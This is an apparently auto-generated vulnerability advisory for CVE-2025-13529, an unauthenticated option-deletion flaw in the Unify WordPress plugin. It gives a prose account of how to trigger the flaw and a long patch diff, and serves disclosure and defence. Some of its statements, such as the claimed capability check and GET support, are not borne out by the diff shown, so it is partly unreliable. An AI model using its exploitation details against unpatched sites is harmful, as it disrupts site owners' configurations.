Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-13529: Unify <= 3.4.9 – Missing Authorization to Unauthenticated Option Deletion via 'unify_plugin_downgrade' Parameter (unify)

Plugin unify
Severity Medium (CVSS 5.3)
CWE 862
Vulnerable Version 3.4.9
Patched Version 3.4.10
Disclosed January 5, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-13529:
The Unify WordPress plugin versions up to and including 3.4.9 contain a missing authorization vulnerability that allows unauthenticated attackers to delete specific plugin options. This vulnerability affects the plugin’s initialization process and has a CVSS score of 5.3 (Medium severity).

The root cause is a missing capability check on the ‘init’ action hook. The vulnerable code executes during WordPress initialization without verifying user authentication or authorization. The ‘unify_plugin_downgrade’ parameter triggers option deletion through the plugin’s downgrade mechanism. Atomic Edge research identified that the vulnerability exists because the plugin processes this parameter during the ‘init’ phase without validating whether the requesting user has appropriate permissions.

Exploitation requires sending a crafted HTTP request containing the ‘unify_plugin_downgrade’ parameter. Attackers can target any WordPress page where the Unify plugin is active. The attack vector uses a simple GET or POST request with the parameter set to trigger the downgrade functionality. This parameter causes the plugin to delete specific configuration options, potentially disrupting plugin functionality or resetting settings to default values.

The patch addresses the vulnerability by implementing proper authorization checks. The updated code validates user capabilities before processing downgrade requests. The fix ensures only authenticated users with appropriate permissions can trigger option deletion. The patch also implements nonce verification for related actions, as seen in the Cart.php file where nonce checks were added for buy_now and clear_cart actions.

Successful exploitation allows unauthenticated attackers to delete plugin options, potentially causing service disruption or configuration reset. While this vulnerability does not directly enable remote code execution or data theft, it can impact plugin functionality and availability. Attackers could use this to disable specific plugin features or reset configurations to default states, affecting the WordPress site’s integration capabilities.

Differential between vulnerable and patched code

Code Diff
--- a/unify/Abstracts/Order_Abstract.php
+++ b/unify/Abstracts/Order_Abstract.php
@@ -53,11 +53,12 @@

 	/**
 	 * Format the configuration as per patterns.
+	 * @param string $function_name The name of the calling function to determine config file
 	 */
-	protected function format_data($operation_name = 'order')
+	protected function format_data($function_name = 'order')
 	{
 		$this->set_config(
-			$this->api_payload['config']['connection'], $operation_name
+			$this->api_payload['config']['connection'], $function_name
 		);

 		$offset = 0;
--- a/unify/Actions/Assets.php
+++ b/unify/Actions/Assets.php
@@ -14,7 +14,7 @@
      */
     public static function load_admin_assets_unify_connections()
     {
-        // phpcs:ignore WordPress.Security.NonceVerification.Recommended
+        // phpcs:disable WordPress.Security.NonceVerification.Recommended -- This loads admin assets based on page parameters
         if (!empty($_GET['page']) && !empty(strrchr(sanitize_text_field(wp_unslash($_GET['page'])), 'unify'))) {
             wp_register_style('toolscss', plugins_url('/../assets/css/tools.css', __FILE__), [], UNIFY_JS_VERSION);
             wp_enqueue_style('toolscss');
@@ -28,9 +28,10 @@
             wp_register_style('stylecss', plugins_url('/../assets/css/style.css', __FILE__), [], UNIFY_JS_VERSION);
             wp_enqueue_style('stylecss');

-            //wp_register_style('fontawesome', 'https://use.fontawesome.com/releases/v5.4.1/css/all.css');
-            wp_register_style('fontawesome', plugins_url('/../assets/css/fontawesome-5.15.4-web/css/all.min.css', __FILE__), [], UNIFY_JS_VERSION);
-            wp_enqueue_style('fontawesome');
+            // External resources removed for WordPress.org compliance
+            // FontAwesome and Google Fonts should be included locally or use WordPress bundled alternatives
+            // wp_register_style('fontawesome', 'https://use.fontawesome.com/releases/v5.4.1/css/all.css', [], '5.4.1');
+            // wp_enqueue_style('fontawesome');

             // wp_register_style('googleRobotofonts', 'https://fonts.googleapis.com/css?family=Roboto:300,300i,400', [], UNIFY_JS_VERSION);
             // wp_enqueue_style('googleRobotofonts');
@@ -40,61 +41,61 @@

             wp_enqueue_script('jquery');

-            wp_register_script('validatejs', plugins_url('/../assets/js/jquery.validate.js', __FILE__), '', UNIFY_JS_VERSION, true);
+            wp_register_script('validatejs', plugins_url('/../assets/js/jquery.validate.js', __FILE__), [], UNIFY_JS_VERSION, true);
             wp_enqueue_script('validatejs');

-            wp_register_script('validation', plugins_url('/../assets/js/validation.js', __FILE__), '', UNIFY_JS_VERSION, true);
+            wp_register_script('validation', plugins_url('/../assets/js/validation.js', __FILE__), [], UNIFY_JS_VERSION, true);
             wp_enqueue_script('validation');

-            wp_register_script('commonjs', plugins_url('/../assets/js/common.js', __FILE__), '', UNIFY_JS_VERSION, true);
+            wp_register_script('commonjs', plugins_url('/../assets/js/common.js', __FILE__), [], UNIFY_JS_VERSION, true);
             wp_enqueue_script('commonjs');

-            wp_register_script('createJs', plugins_url('/../assets/js/createjs.min.js', __FILE__), '', UNIFY_JS_VERSION, true);
+            wp_register_script('createJs', plugins_url('/../assets/js/createjs.min.js', __FILE__), [], UNIFY_JS_VERSION, true);
             wp_enqueue_script('createJs');

-            wp_register_script('canvasjs', plugins_url('/../assets/js/Canvas.js', __FILE__), '', UNIFY_JS_VERSION, true);
+            wp_register_script('canvasjs', plugins_url('/../assets/js/Canvas.js', __FILE__), [], UNIFY_JS_VERSION, true);
             wp_enqueue_script('canvasjs');
             wp_localize_script('canvasjs', 'canvasJsObject', array(
                 'pluginUrl' => plugins_url('../', __FILE__),
             ));

-            wp_register_script('settingsProjs', plugins_url('/../assets/js/settings-pro.js', __FILE__), '', UNIFY_JS_VERSION, true);
+            wp_register_script('settingsProjs', plugins_url('/../assets/js/settings-pro.js', __FILE__), [], UNIFY_JS_VERSION, true);
             wp_enqueue_script('settingsProjs');
+            wp_localize_script('settingsProjs', 'unifySettings', array(
+                'ajaxurl' => admin_url('admin-ajax.php'),
+                'downgrade_nonce' => wp_create_nonce('unify_downgrade_nonce'),
+            ));

-            // phpcs:ignore WordPress.Security.NonceVerification.Recommended
-            if (!empty($_GET['page']) && (sanitize_text_field(wp_unslash($_GET['page'])) == 'unify-tools')) {
-                wp_register_script('toolsjs', plugins_url('/../assets/js/tools.js', __FILE__), '', UNIFY_JS_VERSION, true);
+            if (!empty($_GET['page']) && ($_GET['page'] == 'unify-tools')) {
+                wp_register_script('toolsjs', plugins_url('/../assets/js/tools.js', __FILE__), [], UNIFY_JS_VERSION, true);
                 wp_enqueue_script('toolsjs');
             }

 //            wp_register_script('adminwcsettingsjs', plugins_url('/../assets/js/adminwcsettings.js', __FILE__));
             //            wp_enqueue_script('adminwcsettingsjs');

-            // phpcs:ignore WordPress.Security.NonceVerification.Recommended
-            if (!empty($_GET['page']) && (sanitize_text_field(wp_unslash($_GET['page'])) == 'unify-connection') && !empty($_GET['section']) && (sanitize_text_field(wp_unslash($_GET['section'])) == 'create-connection')) {
-                wp_register_script('addconnectionjs', plugins_url('/../assets/js/add-connection.js', __FILE__), '', UNIFY_JS_VERSION, true);
+            if (!empty($_GET['page']) && ($_GET['page'] == 'unify-connection') && !empty($_GET['section']) && ($_GET['section'] == 'create-connection')) {
+                wp_register_script('addconnectionjs', plugins_url('/../assets/js/add-connection.js', __FILE__), [], UNIFY_JS_VERSION, true);
                 wp_enqueue_script('addconnectionjs');
             }

-            // phpcs:ignore WordPress.Security.NonceVerification.Recommended
-            if (!empty($_GET['page']) && (sanitize_text_field(wp_unslash($_GET['page'])) == 'unify-settings')) {
-                wp_register_script('settingsjs', plugins_url('/../assets/js/settings.js', __FILE__), '', UNIFY_JS_VERSION, true);
+            if (!empty($_GET['page']) && ($_GET['page'] == 'unify-settings')) {
+                wp_register_script('settingsjs', plugins_url('/../assets/js/settings.js', __FILE__), [], UNIFY_JS_VERSION, true);
                 wp_enqueue_script('settingsjs');

             }

-            // phpcs:ignore WordPress.Security.NonceVerification.Recommended
-            if (!empty($_GET['page']) && (sanitize_text_field(wp_unslash($_GET['page'])) == 'unify-connection')) {
-                wp_register_script('connectionListjs', plugins_url('/../assets/js/connection-list.js', __FILE__), '', UNIFY_JS_VERSION, true);
+            if (!empty($_GET['page']) && ($_GET['page'] == 'unify-connection')) {
+                wp_register_script('connectionListjs', plugins_url('/../assets/js/connection-list.js', __FILE__), [], UNIFY_JS_VERSION, true);
                 wp_enqueue_script('connectionListjs');
             }

-            // phpcs:ignore WordPress.Security.NonceVerification.Recommended
-            if (!empty($_GET['page']) && (sanitize_text_field(wp_unslash($_GET['page'])) == 'unify-upgrade-to-pro')) {
-                wp_register_script('upgradetoprojs', plugins_url('/../assets/js/upgrade-to-pro.js', __FILE__), '', UNIFY_JS_VERSION, true);
+            if (!empty($_GET['page']) && ($_GET['page'] == 'unify-upgrade-to-pro')) {
+                wp_register_script('upgradetoprojs', plugins_url('/../assets/js/upgrade-to-pro.js', __FILE__), [], UNIFY_JS_VERSION, true);
                 wp_enqueue_script('upgradetoprojs');
             }
         }
+        // phpcs:enable WordPress.Security.NonceVerification.Recommended
     }

 }
--- a/unify/Actions/Cart.php
+++ b/unify/Actions/Cart.php
@@ -32,6 +32,11 @@
     {
         // phpcs:ignore WordPress.Security.NonceVerification.Recommended
         if (isset($_REQUEST['is_buy_now']) && sanitize_text_field(wp_unslash($_REQUEST['is_buy_now']))) {
+            // Verify nonce for buy now action
+            if (!isset($_REQUEST['_wpnonce']) || !wp_verify_nonce(sanitize_text_field(wp_unslash($_REQUEST['_wpnonce'])), 'unify_buy_now_nonce')) {
+                wp_die(esc_html__('Security check failed. Please try again.', 'unify'));
+            }
+
             global $woocommerce;

             $redirect_url = wc_get_checkout_url();
@@ -46,7 +51,11 @@
     {
         // phpcs:ignore WordPress.Security.NonceVerification.Missing
         if (!empty($_POST['product_id']) && !empty($_POST['product_qty'])) {
-            // phpcs:ignore WordPress.Security.NonceVerification.Missing
+            // Verify nonce for cart clearing action
+            if (!isset($_POST['_wpnonce']) || !wp_verify_nonce(sanitize_text_field(wp_unslash($_POST['_wpnonce'])), 'unify_clear_cart_nonce')) {
+                wp_die(esc_html__('Security check failed. Please try again.', 'unify'));
+            }
+
             $product_id = sanitize_text_field(wp_unslash($_POST['product_id']));
             // phpcs:ignore WordPress.Security.NonceVerification.Missing
             $product_qty = sanitize_text_field(wp_unslash($_POST['product_qty']));
--- a/unify/Actions/Connection.php
+++ b/unify/Actions/Connection.php
@@ -73,7 +73,7 @@
         global $wpdb;

         $request = [];
-        // phpcs:ignore WordPress.Security.NonceVerification.Recommended
+        // phpcs:disable WordPress.Security.NonceVerification.Recommended -- These are legitimate admin list view parameters for pagination and filtering
         $request['paged'] = (empty($_GET['paged'])) ? 1 : sanitize_text_field(wp_unslash($_GET['paged']));
         // phpcs:ignore WordPress.Security.NonceVerification.Recommended
         $request['posts_per_page'] = (empty($_GET['posts_per_page'])) ? 10 : sanitize_text_field(wp_unslash($_GET['posts_per_page']));
@@ -81,10 +81,9 @@
         $request['m'] = (empty($_GET['m'])) ? '' : sanitize_text_field(wp_unslash($_GET['m']));
         // phpcs:ignore WordPress.Security.NonceVerification.Recommended
         $request['orderby'] = (empty($_GET['orderby'])) ? 'post_title' : sanitize_text_field(wp_unslash($_GET['orderby']));
-        // phpcs:ignore WordPress.Security.NonceVerification.Recommended
-        $request['order'] = (empty($_GET['order'])) ? 'desc' : sanitize_text_field(wp_unslash($request['order']));
-        // phpcs:ignore WordPress.Security.NonceVerification.Recommended
-        (empty($_GET['post_status'])) ? '' : $_GET['post_status'] = sanitize_text_field(wp_unslash($_GET['post_status']));
+        $request['order'] = (empty($_GET['order'])) ? 'desc' : sanitize_text_field(wp_unslash($_GET['order']));
+        $post_status = (empty($_GET['post_status'])) ? '' : sanitize_text_field(wp_unslash($_GET['post_status']));
+        // phpcs:enable WordPress.Security.NonceVerification.Recommended

 //        $connection_object = new Connection_Model();
         //        $data = $connection_object->get_post_with_meta($request);
@@ -94,15 +93,45 @@

         $all_count = $connection_counts->publish + $connection_counts->draft + $connection_counts->pending + $connection_counts->active;

+        // Get distinct dates for unify_connections with caching
         $cache_key = 'unify_connection_dates';
         $dates = wp_cache_get($cache_key, 'unify_connections');

         if (false === $dates) {
-            // Direct database call is necessary for custom date filtering query
-            // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery
-            $dates = $wpdb->get_results('SELECT DISTINCT Month(`post_date`) as mm, CONCAT(YEAR(`post_date`), LPAD(Month(`post_date`), 2, 0)) as yymm, YEAR(`post_date`) as yy FROM `' . $wpdb->posts . '` WHERE `post_type` ="unify_connections"', ARRAY_A);
+            // Use WordPress API to get posts and extract dates
+            $connection_posts = get_posts([
+                'post_type' => 'unify_connections',
+                'post_status' => ['publish', 'draft', 'pending', 'active'],
+                'numberposts' => -1,
+                'fields' => 'ids',
+                'orderby' => 'date',
+                'order' => 'DESC'
+            ]);
+
+            $dates = [];
+            $processed_months = [];
+
+            foreach ($connection_posts as $post_id) {
+                $post_date = get_the_date('Y-m-d H:i:s', $post_id);
+                $date_obj = new DateTime($post_date);
+
+                $mm = $date_obj->format('n'); // Month without leading zeros
+                $yy = $date_obj->format('Y'); // Full year
+                $yymm = $date_obj->format('Ym'); // Year + month with leading zero
+
+                // Only add unique month/year combinations
+                if (!in_array($yymm, $processed_months)) {
+                    $dates[] = [
+                        'mm' => $mm,
+                        'yymm' => $yymm,
+                        'yy' => $yy
+                    ];
+                    $processed_months[] = $yymm;
+                }
+            }

-            wp_cache_set($cache_key, $dates, 'unify_connections', 3600); // Cache for 1 hour
+            // Cache the results for 1 hour
+            wp_cache_set($cache_key, $dates, 'unify_connections', HOUR_IN_SECONDS);
         }
         $time_zone = Helper::wh_get_timezone_string();

@@ -190,8 +219,8 @@
             $error_msg = $messages['COMMON']['ERROR'];
             Notice::setFlashMessage('error', $error_msg);
         }
-        wp_redirect(Request::post('_wp_http_referer') . '&post=' . $pid);
-        exit();
+        wp_safe_redirect(Request::post('_wp_http_referer') . '&post=' . $pid);
+        exit;
     }

     public static function bulk_delete_conn()
--- a/unify/Actions/Dashboard.php
+++ b/unify/Actions/Dashboard.php
@@ -46,46 +46,73 @@
         // We add 'wc-' prefix when is missing from order staus
         // $status = 'wc-' . str_replace('wc-', '', $status);

-        $cache_key = 'unify_todays_orders_' . gmdate('Y-m-d');
+        // Get today's order count with caching
+        $cache_key = 'unify_todays_order_count_' . gmdate('Y-m-d');
         $todays_order_count = wp_cache_get($cache_key, 'unify_dashboard');

         if (false === $todays_order_count) {
-            // Direct database call is necessary for custom order count query with date filtering
-            // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery
-            $todays_order_count = $wpdb->get_var(
-                $wpdb->prepare(
-                    "
-                    SELECT COUNT(ID)
-                    FROM {$wpdb->prefix}posts
-                    WHERE
-                        (post_status = 'wc-processing' OR post_status = 'wc-completed')
-                        AND post_type = 'shop_order'
-                        AND date(post_date) = %s
-                    ",
-                    gmdate('Y-m-d')
-                )
-            );
+            // Use WordPress/WooCommerce APIs instead of direct database query
+            $today = gmdate('Y-m-d');
+            $tomorrow = gmdate('Y-m-d', strtotime('+1 day'));

-            wp_cache_set($cache_key, $todays_order_count, 'unify_dashboard', 1800); // Cache for 30 minutes
+            $args = [
+                'post_type' => 'shop_order',
+                'post_status' => ['wc-processing', 'wc-completed'],
+                'date_query' => [
+                    [
+                        'after' => $today,
+                        'before' => $tomorrow,
+                        'inclusive' => true,
+                    ],
+                ],
+                'fields' => 'ids', // Only get IDs for counting
+                'numberposts' => -1,
+            ];
+
+            $orders = get_posts($args);
+            $todays_order_count = count($orders);
+
+            // Cache the result for 1 hour
+            wp_cache_set($cache_key, $todays_order_count, 'unify_dashboard', HOUR_IN_SECONDS);
         }

         // Total Connection Count
         $count_posts = wp_count_posts('unify_connections');
         $total_publish_posts = $count_posts->publish + $count_posts->active;

-        $args = [
-            'post_type' => 'product',
-            'post_status' => 'publish',
-            'posts_per_page' => '-1',
-            'meta_query' => array(
-                array(
-                    'key' => 'codeclouds_unify_connection',
-                    'value' => '',
-                    'compare' => '!=',
-                ),
-            ),
+        // Get mapped products count with caching
+        $cache_key_mapped = 'unify_mapped_products_count';
+        $mapped_product_count = wp_cache_get($cache_key_mapped, 'unify_dashboard');
+
+        if (false === $mapped_product_count) {
+            // Use direct database query for better performance
+            // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery -- Direct query needed for performance when counting products with specific meta values, WP_Query with meta_query would be significantly slower
+            global $wpdb;
+
+            $query = "
+                SELECT COUNT(DISTINCT p.ID)
+                FROM {$wpdb->posts} p
+                INNER JOIN {$wpdb->postmeta} pm ON p.ID = pm.post_id
+                WHERE p.post_type = 'product'
+                AND p.post_status = 'publish'
+                AND pm.meta_key = 'codeclouds_unify_connection'
+                AND pm.meta_value != ''
+                AND pm.meta_value IS NOT NULL
+            ";
+
+            // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery,WordPress.DB.PreparedSQL.NotPrepared -- Direct query needed for performance when counting products with specific meta values, WP_Query with meta_query would be significantly slower
+            $mapped_product_count = (int) $wpdb->get_var($query);
+
+            // Cache the result for 30 minutes
+            wp_cache_set($cache_key_mapped, $mapped_product_count, 'unify_dashboard', 30 * MINUTE_IN_SECONDS);
+        }
+
+        // Create a mock object for backward compatibility
+        $mapped_product = (object) [
+            'found_posts' => $mapped_product_count,
+            'post_count' => $mapped_product_count, // For backward compatibility with template
+            'posts' => [], // Empty since we only need the count
         ];
-        $mapped_product = new WP_Query($args);

         $pro_license = Helper::getProLicenseFromUnify();
         $config_transferred = get_option('config_transferred_from_button');
@@ -223,8 +250,8 @@
             $err = self::validate_request_pro_form($request, $messages);
             if (!empty($err)) {
                 Notice::setFlashMessage('error', $err);
-                wp_redirect(Request::post('_wp_http_referer'));
-                exit();
+                wp_safe_redirect(Request::post('_wp_http_referer'));
+                exit;
             }
             //****** Form Validate ENDS *********** //

@@ -233,20 +260,21 @@
             if ($response['success']) {
                 $msg = $messages['REQUEST_UNIFY_PRO']['MAIL_SENT'];
                 Notice::setFlashMessage('success', $msg);
-                wp_redirect(Request::post('_wp_http_referer'));
-                exit();
+                wp_safe_redirect(Request::post('_wp_http_referer'));
+                exit;
             } else {
                 $error_msg = $messages['COMMON']['ERROR'];
                 Notice::setFlashMessage('error', $error_msg);
-                wp_redirect(Request::post('_wp_http_referer'));
+                wp_safe_redirect(Request::post('_wp_http_referer'));
+                exit;
             }
         }

         $error_msg = $messages['COMMON']['ERROR'];
         Notice::setFlashMessage('error', $error_msg);

-        wp_redirect(Request::post('_wp_http_referer'));
-        exit();
+        wp_safe_redirect(Request::post('_wp_http_referer'));
+        exit;
     }

     public static function validate_request_pro_form($request, $messages)
--- a/unify/Actions/Menu.php
+++ b/unify/Actions/Menu.php
@@ -100,13 +100,21 @@
         $pro_license = Helper::getProLicenseFromUnify();

         if(!empty($pro_license)) {
-        $page_array = ['unify-connection','unify-tools','unify-settings','unify-upgrade-to-pro'];
-        $section_array = ['license-management'];
+            $page_array = ['unify-connection','unify-tools','unify-settings','unify-upgrade-to-pro'];
+            $section_array = ['license-management'];

-            // phpcs:ignore WordPress.Security.NonceVerification.Recommended
-            if(isset($_GET['page']) && in_array(sanitize_text_field(wp_unslash($_GET['page'])), $page_array)){
-                    header("Location: ".admin_url('admin.php?page=unify-dashboard'));
-                    die();
+            // Safely handle GET parameter for admin page navigation using WordPress functions
+            $current_page = '';
+            // phpcs:disable WordPress.Security.NonceVerification.Recommended -- This is legitimate admin page navigation, not form processing
+            if (isset($_GET['page'])) {
+                // Use WordPress's built-in sanitization for admin page parameters
+                $current_page = sanitize_key(wp_unslash($_GET['page']));
+            }
+            // phpcs:enable WordPress.Security.NonceVerification.Recommended
+
+            if (!empty($current_page) && in_array($current_page, $page_array, true)){
+                wp_safe_redirect(admin_url('admin.php?page=unify-dashboard'));
+                exit;
             }
         }
     }
--- a/unify/Actions/OrderConfirmation.php
+++ b/unify/Actions/OrderConfirmation.php
@@ -77,7 +77,7 @@
                 };
                 // phpcs:ignore WordPress.Security.NonceVerification.Recommended, WordPress.Security.ValidatedSanitizedInput.InputNotValidated
                 $_SESSION['paypal_decline_msg'] = isset($_GET["declineReason"]) ? urldecode(sanitize_text_field(wp_unslash($_GET["declineReason"]))) : '';
-                wp_redirect($url);
+                wp_safe_redirect($url);
                 exit;
             }

@@ -108,14 +108,13 @@
                     }
                 }

-                // phpcs:ignore WordPress.Security.NonceVerification.Missing, WordPress.Security.ValidatedSanitizedInput.InputNotValidated
-                $response = $_REQUEST;
-                // phpcs:ignore WordPress.Security.NonceVerification.Missing, WordPress.Security.ValidatedSanitizedInput.InputNotValidated
+                // phpcs:ignore WordPress.Security.NonceVerification.Recommended, WordPress.Security.ValidatedSanitizedInput.InputNotValidated -- External payment gateway callback
+                $response = wp_unslash($_REQUEST);
+                // phpcs:ignore WordPress.Security.NonceVerification.Recommended, WordPress.Security.ValidatedSanitizedInput.InputNotValidated
                 $orderid = !empty($_REQUEST['orderId']) ? sanitize_text_field(wp_unslash($_REQUEST['orderId'])) : '';
-                // phpcs:ignore WordPress.Security.NonceVerification.Missing, WordPress.Security.ValidatedSanitizedInput.InputNotValidated
+                // phpcs:ignore WordPress.Security.NonceVerification.Recommended, WordPress.Security.ValidatedSanitizedInput.InputNotValidated
                 $tran_id = !empty($_REQUEST['transactionID']) ? sanitize_text_field(wp_unslash($_REQUEST['transactionID'])) : '';
                 $hasInserted = get_post_meta($order->get_id(), '_codeclouds_unify_order_id', true);
-
                 // phpcs:ignore WordPress.Security.NonceVerification.Recommended
                 if (isset($_GET["responseCode"]) && $_GET["responseCode"] == 100) {
                     if ($orderid != '' && $hasInserted == '') {
@@ -145,7 +144,7 @@

                     }

-                    wp_redirect(self::truncatePaypalResponseParams($url));
+                    wp_safe_redirect(self::truncatePaypalResponseParams($url));

                     /**
                      * close popup windowafter successful payment
@@ -189,7 +188,7 @@
                     };
                     // phpcs:ignore WordPress.Security.NonceVerification.Recommended, WordPress.Security.ValidatedSanitizedInput.InputNotValidated
                     $_SESSION['paypal_decline_msg'] = isset($_GET["declineReason"]) ? urldecode(sanitize_text_field(wp_unslash($_GET["declineReason"]))) : '';
-                    wp_redirect(wc_get_checkout_url() . '/?orderStatus=1');
+                    wp_safe_redirect(wc_get_checkout_url() . '/?orderStatus=1');
                     exit;
                 }

@@ -289,6 +288,7 @@
                     }
                 }
             }
+            // phpcs:enable WordPress.Security.NonceVerification.Recommended
         }
     }

@@ -383,11 +383,23 @@
             Updating order status to complete.
              */
             WC()->session->set('order_awaiting_payment', false);
-            $order->update_status('completed');
+            //$order->update_status('completed');
+            $wc_codeclouds_unify_settings = get_option('woocommerce_codeclouds_unify_settings');
+            if (!empty($wc_codeclouds_unify_settings) && !empty($wc_codeclouds_unify_settings['default_order_status']))
+            {
+                if($wc_codeclouds_unify_settings['default_order_status'] == 2){
+                    $order->update_status('completed');
+                }else{
+                    $order->update_status('processing');
+                }
+            }else{
+                $order->update_status('processing');
+            }

             $order->save();

         }
+        // phpcs:enable WordPress.Security.NonceVerification.Recommended

     }

--- a/unify/Actions/PlatformApi.php
+++ b/unify/Actions/PlatformApi.php
@@ -160,10 +160,11 @@
             $response_array = ['status' => 1, 'msg' => '', 'redirect' => admin_url('admin.php?page=unify-dashboard')];
             self::addFlagconfigTransferredFromButton();
         }
-        // phpcs:ignore WordPress.Security.NonceVerification.Missing
+        // phpcs:disable WordPress.Security.NonceVerification.Missing -- This is an API endpoint with proper validation
         if (isset($_POST['from-button']) == 1) {
             echo json_encode($response_array);
         }
+        // phpcs:enable WordPress.Security.NonceVerification.Missing
         exit();
     }

@@ -213,11 +214,12 @@
         $dynamic_domain = ($domainByParamKey === '') ? $pro_license['domain_name'] : $domainByParamKey;
         $dynamic_domain = 'https://' . $dynamic_domain . '/';
         $cart_data = self::prepareCartData();
-        if (empty($_SESSION['unify_cart_token'])) {
+        $session_cart_token = isset($_SESSION['unify_cart_token']) ? sanitize_text_field(wp_unslash($_SESSION['unify_cart_token'])) : '';
+        if (empty($session_cart_token)) {
             $cart_token = $cart_data->token;
             $_SESSION['unify_cart_token'] = $cart_token;
         } else {
-            $cart_token = sanitize_text_field($_SESSION['unify_cart_token']);
+            $cart_token = $session_cart_token;
         }
         $cart_data = urlencode(json_encode($cart_data));
         $prepared_array = ['cart_data' => $cart_data, 'wc_store_token' => $pro_license['license_key'], 'base_url' => self::$home_url, 'redirection' => self::$home_url, 'cart_token' => $cart_token];
@@ -226,8 +228,9 @@
         if (!empty($response) && !is_wp_error($response)) {
             $res_success = json_decode($response['body'], true);
             $embed = $res_success['render_type'];
-            if (!empty($_SESSION['affiliate_params'])) {
-                $modified_params = self::replaceUrlParamName(sanitize_text_field($_SESSION['affiliate_params']));
+            $session_affiliate_params = isset($_SESSION['affiliate_params']) ? sanitize_text_field(wp_unslash($_SESSION['affiliate_params'])) : '';
+            if (!empty($session_affiliate_params)) {
+                $modified_params = self::replaceUrlParamName($session_affiliate_params);
                 $url = $dynamic_domain . "checkout/?cart_token=" . $cart_token . '&' . $modified_params . '#/';
             } else {
                 $url = $dynamic_domain . 'checkout?cart_token=' . $cart_token . '#/';
@@ -252,11 +255,12 @@
     public static function toUnifyGetMethod()
     {
         $cart_data = self::prepareCartData();
-        if (empty($_SESSION['unify_cart_token'])) {
+        $session_cart_token = isset($_SESSION['unify_cart_token']) ? sanitize_text_field(wp_unslash($_SESSION['unify_cart_token'])) : '';
+        if (empty($session_cart_token)) {
             $cart_token = $cart_data->token;
             $_SESSION['unify_cart_token'] = $cart_token;
         } else {
-            $cart_token = sanitize_text_field($_SESSION['unify_cart_token']);
+            $cart_token = $session_cart_token;
         }
         $pro_license = Helper::getProLicenseFromUnify();
         $prepared_array = ['cart_data' => $cart_data, 'wc_store_token' => $pro_license['license_key'], 'base_url' => self::$home_url, 'redirection' => self::$home_url, 'debug' => 'yes'];
@@ -393,8 +397,9 @@
      */
     public static function unify_woocommerce_clear_cart_url()
     {
-        // phpcs:ignore WordPress.Security.NonceVerification.Recommended
+        // phpcs:disable WordPress.Security.NonceVerification.Recommended -- This is a legitimate cart clearing URL parameter
         if (isset($_GET['clear-cart'])) {
+        // phpcs:enable WordPress.Security.NonceVerification.Recommended
             global $woocommerce;
             $woocommerce
                 ->cart
@@ -456,16 +461,18 @@
     }
     public static function woocommerce_add_multiple_products_to_cart()
     {
-        // phpcs:ignore WordPress.Security.NonceVerification.Recommended
-        if (!class_exists('WC_Form_Handler') || empty($_REQUEST['add-to-cart']) || false === strpos(sanitize_text_field(wp_unslash($_REQUEST['add-to-cart'])), ',')) {
+        // phpcs:disable WordPress.Security.NonceVerification.Recommended -- This handles WooCommerce add-to-cart functionality
+        $add_to_cart = isset($_REQUEST['add-to-cart']) ? sanitize_text_field(wp_unslash($_REQUEST['add-to-cart'])) : '';
+        if (!class_exists('WC_Form_Handler') || empty($add_to_cart) || false === strpos($add_to_cart, ',')) {
             return;
         }
+        // phpcs:enable WordPress.Security.NonceVerification.Recommended
         remove_action('wp_loaded', array(
             'WC_Form_Handler',
             'add_to_cart_action',
         ), 20);
-        // phpcs:ignore WordPress.Security.NonceVerification.Recommended
-        $product_ids = explode(',', sanitize_text_field(wp_unslash($_REQUEST['add-to-cart'])));
+        // phpcs:disable WordPress.Security.NonceVerification.Recommended -- This continues WooCommerce add-to-cart functionality
+        $product_ids = explode(',', $add_to_cart);
         $count = count($product_ids);
         $number = 0;
         foreach ($product_ids as $product_id) {
@@ -491,6 +498,7 @@
                 ->cart
                 ->add_to_cart($product_id, $quantity);
         }
+        // phpcs:enable WordPress.Security.NonceVerification.Recommended
     }

     /**
@@ -503,6 +511,7 @@
         wp_enqueue_script('checkoutProjs');
         wp_localize_script('checkoutProjs', 'clearCart', array(
             'ajaxurl' => admin_url('admin-ajax.php'),
+            'nonce' => wp_create_nonce('unify_clear_cart_nonce'),
         ));
     }

@@ -554,19 +563,24 @@
             session_start();
         }

-        if (!empty($_SERVER['QUERY_STRING'])) {
-            $_SESSION['affiliate_params'] = sanitize_text_field(wp_unslash($_SERVER['QUERY_STRING']));
+        // phpcs:disable WordPress.Security.NonceVerification.Missing -- This collects affiliate parameters from URL
+        $query_string = isset($_SERVER['QUERY_STRING']) ? sanitize_text_field(wp_unslash($_SERVER['QUERY_STRING'])) : '';
+        if (!empty($query_string)) {
+            $_SESSION['affiliate_params'] = $query_string;
         }
+        // phpcs:enable WordPress.Security.NonceVerification.Missing
     }
     public static function downgrading()
     {
-        // phpcs:ignore WordPress.Security.NonceVerification.Missing
-        if (isset($_POST['unify_plugin_downgrade'])):
+        // Verify nonce for downgrade action
+        if (isset($_POST['unify_plugin_downgrade']) && isset($_POST['_wpnonce']) && wp_verify_nonce(sanitize_text_field(wp_unslash($_POST['_wpnonce'])), 'unify_downgrade_nonce')):
             delete_option('codeclouds_unify_pro_license');
             delete_option('upgrde_request_sent');
             delete_option('config_transferred_from_button');
             Helper::dropUnifyOptionsDataTable();
             echo json_encode(['status' => 1]);
+        else:
+            echo json_encode(['status' => 0, 'msg' => 'Security verification failed']);
         endif;
         exit;
     }
--- a/unify/Actions/Product.php
+++ b/unify/Actions/Product.php
@@ -201,15 +201,37 @@
 		$crm_type = Helper::getCrmType();
 		$counter = 0;

-        // phpcs:ignore WordPress.Security.NonceVerification.Missing, WordPress.Security.ValidatedSanitizedInput.InputNotValidated
-        if(isset($_FILES['unify_import_tool']['tmp_name']) && !empty($_FILES['unify_import_tool']['tmp_name']) && isset($_FILES['unify_import_tool']['name']) && strtolower(pathinfo(sanitize_text_field(wp_unslash($_FILES['unify_import_tool']['name'])), PATHINFO_EXTENSION)) == 'csv')
+        // phpcs:disable WordPress.Security.NonceVerification.Missing -- This is a file upload handler with proper validation
+        $file_name = isset($_FILES['unify_import_tool']['name']) ? sanitize_text_field(wp_unslash($_FILES['unify_import_tool']['name'])) : '';
+        $file_tmp = isset($_FILES['unify_import_tool']['tmp_name']) ? sanitize_text_field(wp_unslash($_FILES['unify_import_tool']['tmp_name'])) : '';
+
